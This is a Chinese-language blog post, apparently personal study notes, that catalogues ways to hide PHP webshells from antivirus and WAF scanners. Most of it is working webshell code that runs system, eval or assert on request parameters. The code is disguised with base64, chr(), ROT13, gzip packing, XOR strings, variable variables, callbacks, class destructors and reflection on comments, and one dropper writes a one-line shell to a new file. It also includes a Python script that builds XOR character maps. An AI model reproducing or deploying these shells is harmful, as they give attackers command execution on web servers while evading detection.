php_webshell_bypass

参考自

曾师傅博客:https://blog.zgsec.cn/

曾师傅分享的php_webshell_bypass技巧

免杀思路

webshell查杀

  1. 统计内容:以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
  2. 机器学习,给AI喂数据,总结一些webshell特征库,去检测
  3. 动态监控(沙箱),有脚本执行,就去监控(hook)其中的危险函数,如果有调用过程就会进行阻止

注意点

1.eval不算做一个函数,所以不能拼接、混淆来执行,只能明文写入

2.php7中 assert也类似于eval的处境了

绕过方式

0x01 编码绕过

你比如把危险函数进行编码赋值给一个变量,再使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#base64
<?php
$er=base64_decode("system的base64编码")
$er($POST[asdas]);//system($POST[asdas])
?>

#ascii
<?php

$_uU=chr(99).chr(104).chr(114); //$_uU=chr
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);//$_cC=eval($_POST[1]);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);//$_fF=create_function
$_=$_fF("",$_cC); //$_=create_function("",eval($_POST[1]);)
@$_()

?>

#ROT13编码
$f = str_rot13('flfgrz'); //解密后为system高危函数$f($_POST['aabyss']); //system($_POST['aabyss']);

可以采取更冷门的编码方式、或者自定义加密函数进行绕过

gzip压缩加密

vscode使用php服务 https://blog.csdn.net/Y2ANGAO/article/details/124211658

0x01.简单的gzip+base64

gzdeflate用来压缩文件或者字符串

加密php编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
/*来自https://blog.zgsec.cn/archives/147.html */
function encode_file_contents($filename) {
# $type=strtolower(substr(strrchr($filename,'.'),1));
# if('php'==$type && is_file($filename) && is_writable($filename)) {
// 如果是PHP文件 并且可写 则进行压缩编码
$contents = file_get_contents($filename);
// 判断文件是否已经被编码处理
# $pos = strpos($contents,'123qianzhui');
# if(false === $pos || $pos>100) {
// 去除PHP文件注释和空白,减少文件大小
$contents = php_strip_whitespace($filename);
// 去除PHP头部和尾部标识
$headerPos = strpos($contents,'<?php');
$footerPos = strrpos($contents,'?>');
$contents = substr($contents,$headerPos+5,$footerPos-$headerPos);
$encode = base64_encode(gzdeflate($contents));
// 开始编码
$encode = '<?php'." /*123qianzhui*/\neval(gzinflate(base64_decode('".$encode."'))); \n?>";
return file_put_contents($filename,$encode);
# }
# }
#return false;
}
//调用函数
$filename='E:\VS project\py\Debug\test.php';
//这里填入需要加密的原始PHP文件名
echo(encode_file_contents($filename));
?>

test.php放自己的payload,加密后上传,访问即可

1
2
3
4
5
6
7
8
<?php
echo phpinfo();
?>

#执行完加密后变成,这个就是我们最终要用的木马
<?php /*123qianzhui*/
eval(gzinflate(base64_decode('4+VKTc7IVyjIKMjMS8vX0LRWsLcDAA==')));
?>

直接上传加密后的test.php访问即可

解密过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*来自https://blog.zgsec.cn/archives/147.html */
<?php
//放入已经加密的PHP内容
$a = "eval(gzinflate(base64_decode('4+VKTc7IVyjIKMjMS8vX0LRWsLcDAA==')));";
function decodephp($a)
{
$max_level = 300; //最大层数
for ($i = 0; $i < $max_level; $i++) {
ob_start();
eval(str_replace('eval', 'echo', $a));
$a = ob_get_clean();
if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
return $a;
}
}
}
//这里注意要加htmlspecialchars,我看好多文章没写(但其实不加也无所谓)
echo htmlspecialchars(decodephp($a));
?>
0x02.进阶的gzip+base64

加密如下:

1
2
3
4
5
6
7
8
9
10
<?php
/*来自https://blog.zgsec.cn/archives/147.html */
function iJG($BHM) {
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>

基本原理是:先解开base64,再进行gzinflate,之后循环为每一位重新赋值

解密看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/*来自https://blog.zgsec.cn/archives/147.html */
function iJG($BHM) {
echo "base64解码:".base64_decode($BHM)."<br>";
$BHM=gzinflate(base64_decode($BHM));
echo "gzip膨胀:".$BHM."<br>";
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
}
echo("解密后为:".iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
//eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));

?>

vscode的连不了,貌似是3000端口,看似打开,又没打开,简称如开

放到小皮里去连接

https://blog.zgsec.cn/archives/147.html

0x02 字符串混淆处理

a.巧取特定字符

无非是拼接、替换,绕过WAF的正则、处理逻辑等

1
2
3
4
5
6
7
8
9
10
11
<?php
function confusion($a){
$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']
;$tmp = "";while ($a>10) {$tmp .= $s[$a%10];
$a = $a/10;}return $tmp.$s[$a];
}
$f = confusion(976534); //sysTem(高危函数)
#$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
$f($_GET['cmd']);

?>
b.巧用文件名

从文件名取出来数字即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function confusion($a){
$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
$tmp = "";
while ($a>10)
{
$tmp .= $s[$a%10];$a = $a/10;
}return $tmp.$s[$a];

}
$f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函数)
//__FILE__为976534.php
#获取文件名倒数第十个数字开始的连续6个字符
//substr(__FILE__, -10, 6);即从文件名中提取出976534
// confusion(intval(976534));//即输出了sysTem(高危函数),拼接即可
#$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
$f($_GET['yly']);
?>
c.特殊字符串+间接变量

主要是回车、换行、null、特殊字符(空白等)绕过正则

1
2
3
4
5
6
7
8
9
<?php
$f = 'hello';
#$$f = $_POST['aabyss'];
$$f = $_GET['yly'];//即$hello=$_GET['yly']
#eval(``.$hello); //这里反引号我解析不了

system(` `.$hello);//中间有空格,system是可以的
#eval(` `.$hello);//这个命令我用了php5.x版本的也报错
?>

如果再配合第一个的话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function confusion($a){
$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']
;$tmp = "";while ($a>10) {$tmp .= $s[$a%10];
$a = $a/10;}return $tmp.$s[$a];
}
$x = confusion(976534);

$f = 'hello';
#$$f = $_POST['aabyss'];
$$f = $_GET['yly'];//即$hello=$_GET['yly']
#eval(``.$hello); //这里反引号我解析不了

$x(` `.$hello);//中间有空格,system是可以的
#eval(` `.$hello);//这个命令我用了php5.x版本的也报错
?>

0x03 生成新文件绕过

这个原理就是上传一个php文件,通过它在同目录下去生成一个恶意php,访问达到目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$hahaha = strtr("abatme","me","em"); //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)
#echo $wahaha;
/*$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" >./out.php',"qrwxyK","al(_PO");//$gogogo = 'echo "<?php eval(_POST[AABYSS])\?\>" > ./out.php'*/

/*$go=strtr('echo "<?php evqrw$_KST[CMD]?>" >./out.php',"qrwSK","al(EG");*/
#echo "<br>".$go;
#$go=str_replace('"', '', $go); //去掉引号就写不进去了
#echo "<br>".$go;
//$wahaha($go); //将一句话木马内容写入同目录下的out.php中,但是这里会写进双引号
$go=strtr('"<?php evqrw$_KST[CMD]c;?>"',"qrwSKc","al(EG)");
file_put_contents('./out.php',$go);
?>

这里用到的strtr函数(是strstr)需要注意下

strtr("123456","45","23")

这里是将12345中的4替换为2;5替换为3,是一种一一映射的替换关系,而不是整个字符串

如果后两个参数长度不相等,那么匹配不到的部分就不会替换而已

这里注意几个点:

1.方括号里的变量要用单引号,既然如此是可以先声明变量再使用的

1
"<?php $co="cmd";system($_GET[$co]);?>"

2.写进文件里的双引号不影响使用

3.分号不能丢

4.另外eval是什么毛病,有时候真的用不了

0x04 回调函数

a.call_user_func_array()

1
2
3
4
5
//ASCII编码解密后为assert高危函数
<?php
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
call_user_func_array($f, array($_POST['aabyss']));
?>

b. array_map()

1
2
3
4
5
6
function fun() {//ASCII编码解密后为assert高危函数
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);return ''.$f;
}
$user = fun(); //拿到assert高危函数$
pass =array($_POST['aabyss']);
array_map($user,$user = $pass );

这里仅仅记录一下,感觉尽量避免使用,这种固定函数名,应该还是要进行变形的

0x05 可变变量绕过

a.简单型

这里执行不了,知道个意思就可以

1
2
3
4
5
6
<?php
$f = 'hello';
#$$f = $_POST['aabyss'];
$$f = $_GET['yly'];//即$hello=$_GET['yly']
eval(``.$hello);
?>

b.数组+变量引用

compact创建一个包含变量名和其值的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$name = 'John';
$age = 30;
$city = 'New York';

$data = compact('name', 'age', 'city');

print_r($data);

//输出
Array
(
[name] => John
[age] => 30
[city] => New York
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//当其它免杀传递system给z后
$z="system";
$yinyong=&$z;
$event='yly';

$res=compact("event","yinyong");
$z='123456';

$f=$res['yinyong'];
#$f($_POST['cmd']);
$f($_GET['cmd']);

?>

这个原理就是,避免WAF追踪,WAF追踪z时,会认为z是123456了,而不是system

0x06 数组绕过

这个就是将函数存储在数组中,到时候去取,去拼接

a.二维数组?

1
2
3
4
5
6
<?php
$f = substr_replace("systxx","em",4); //system(高危函数)
#echo $f;
$z = array($array = array('a'=>$f($_GET['cmd'])));
var_dump($z);
?>

1
array($array = array('a'=>123));

首先array(‘a’=>123)),即$array创建了一个关联数组,这属于键值关系

array($array),又是一个数组,可以看做一个二维数组

1
2
3
4
5
6
7
8
$z = array($array = array('a'=>1,'b'=>2,'c'=>3));
echo $z[0]['a']."<br>".$z[0]['c'];

//1
//3

var_dump($z);
//array(1) { [0]=> array(3) { ["a"]=> int(1) ["b"]=> int(2) ["c"]=> int(3) } }

b.多维数组?

1
2
3
4
5
6
<?php
$f = substr_replace("systxx","em",4); //system(高危函数)
$z = array($arrayName = ($arrayName = ($arrayName = array('a' =>$f($_GET['cmd'])))));
var_dump($z);

?>
1
2
3
4
5
6
$z = array($arrayName = ($arrayName = ($arrayName = array('a' =>1234))));
echo $z[0]['a']."<br>";
var_dump($z);

//1234
//array(1) { [0]=> array(1) { ["a"]=> int(1234) } }

什么意思,这个也是二维数组?

0x07 类绕过

主要是魔法函数的使用

a.单类—析构函数

1
2
3
4
5
6
7
8
9
10
11
<?php
class Test{
public $_1='';
function __destruct()
{
system("$this->_1");}
}
#$_2 = new Test;$_2->$_1 = $_POST['cmd'];
$_2 = new Test;
$_2->_1 = $_GET['cmd'];
?>

这个就是析构函数的作用,主函数中只是申请了个新类,然后对这个类的变量_1重新赋值,这样执行完毕后,触发析构函数,执行结果

b.多类—构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
class Test1{
public $b ='';
function post()
{
#return $_POST['aabyss'];
return $_GET['cmd'];
}
}
class Test2 extends Test1
{
public $code = null;
function __construct()
{
$code = parent::post();
system($code);
}
}
$fff = new Test2;
#$zzz = new Test1; //没看懂这个的作用,不需要也可以触发
?>

当创建一个子类后,优先继承子类的值$code为空,执行完毕销毁,触发析构函数,调用父类的post()函数,返回值,赋值给$code,system执行,触发即可

0x08 嵌套运算绕过

包括但不限于用(嵌套、异或、运算的方式)拼接、动态函数执行,主要拼接高危函数

a.异或

1
2
3
4
5
$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函数
//等同于这样 $f = ('.$.48]' ^ ']]]@]0');
#$f($_POST['aabyss']);
$f($_GET['cmd']);
?>

具体的生成参考如下国光的py脚本,在linux下使用python3 1.py > 1.txt即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []

for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} ={quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} ={quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} ={quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} ={quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)

results.sort(key=lambda x:x[1], reverse=False)
for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])
for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])

生成字母的映射表如下

s = . ^ ] =. ^ %5D

y = $ ^ ] =%24 ^ %5D

b.嵌套运算

看不懂,先略过

https://blog.zgsec.cn/archives/147.html

0x09 传参绕过

恶意代码作为参数传入

a.base64传参

1
2
3
$decrpt = $_REQUEST['a'];
$arrs =explode("|",base64_decode($decrpt));
call_user_func($arrs[0],$arrs[1]);

这个时候a就输入一个比如whoami|system的base64(c3lzdGVtfHdob2FtaSAg )即可

对于explode,类比于java或c#里的split函数,且分割为数组元素

1
2
3
4
5
6
7
8
9
10
11
<?php
$str = "www.runoob.com";
print_r (explode(".",$str));
?>

/*Array
(
[0] => www
[1] => runoob
[2] => com
)*/

b.函数构造传参

1
2
3
4
$f = $_REQUEST['f'];
declare(ticks=1);//解释器每执行1条可计时的低级语句就发生的事件
#register_tick_function ($f, $_REQUEST['aabyss']);
register_tick_function($f, $_REQUEST['yly']);//执行一次低级语法,就是第一个参数回调函数

每个tick中出现的事件,由register_tick_function指定

这个相当于输入两个参数,第一个参数控制高危函数输入,第二个参数为命令

tick函数介绍 http://t.csdnimg.cn/q0p5p

0x10 自定义函数拼接

顾名思义,用自定义函数去拼接代码内容

这个用到了的话,再写

0x11 读取字符串绕过

通过读取的目的获得相应字符串

a.读取注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#注意,注释必须遵照一定格式,不能在同一行,否则无法读取
<?php
/**
*system($_GET[dir]);
*/
class User {
private $a=123;
public $c=456;
function test($b){
$b=$this->a;
}
}
$user = new ReflectionClass('User');
//echo $user."<br>";
//$user1=new User;
//echo $user1->c."<br>";
$comment = $user->getDocComment();//取注释
//echo $comment."<br>";
$f = substr($comment ,19 ,3 );//取注释里的命令
//echo $f;
eval($f);//change func
?>


/*Class [ class User ] { @@ E:\VS project\py\Debug\duqu1.php 3-9 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [2] { Property [ private $a = 123 ] Property [ public $c = 456 ] } - Methods [1] { Method [ public method test ] { @@ E:\VS project\py\Debug\duqu1.php 6 - 8 - Parameters [1] { Parameter #0 [ $b ] } } } }

456*/

new ReflectionClass($class) 获得class的反射对象(包含了元数据信息),它类比于new $class(),这个不能访问私有对象,但反射可以

b.读取数据库

先写入数据库,再从该数据库读取内容提取相应字符

c.读取目录

总结

总的来讲,无外乎高危函数的拆分、转换、编码、拼接

各种绕过相互组合,灵活多变,绕过率成功更高

php除了变量,其它均不区分大小写

总之算是对webshell编写有更好的了解

参考来源:https://blog.zgsec.cn/

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信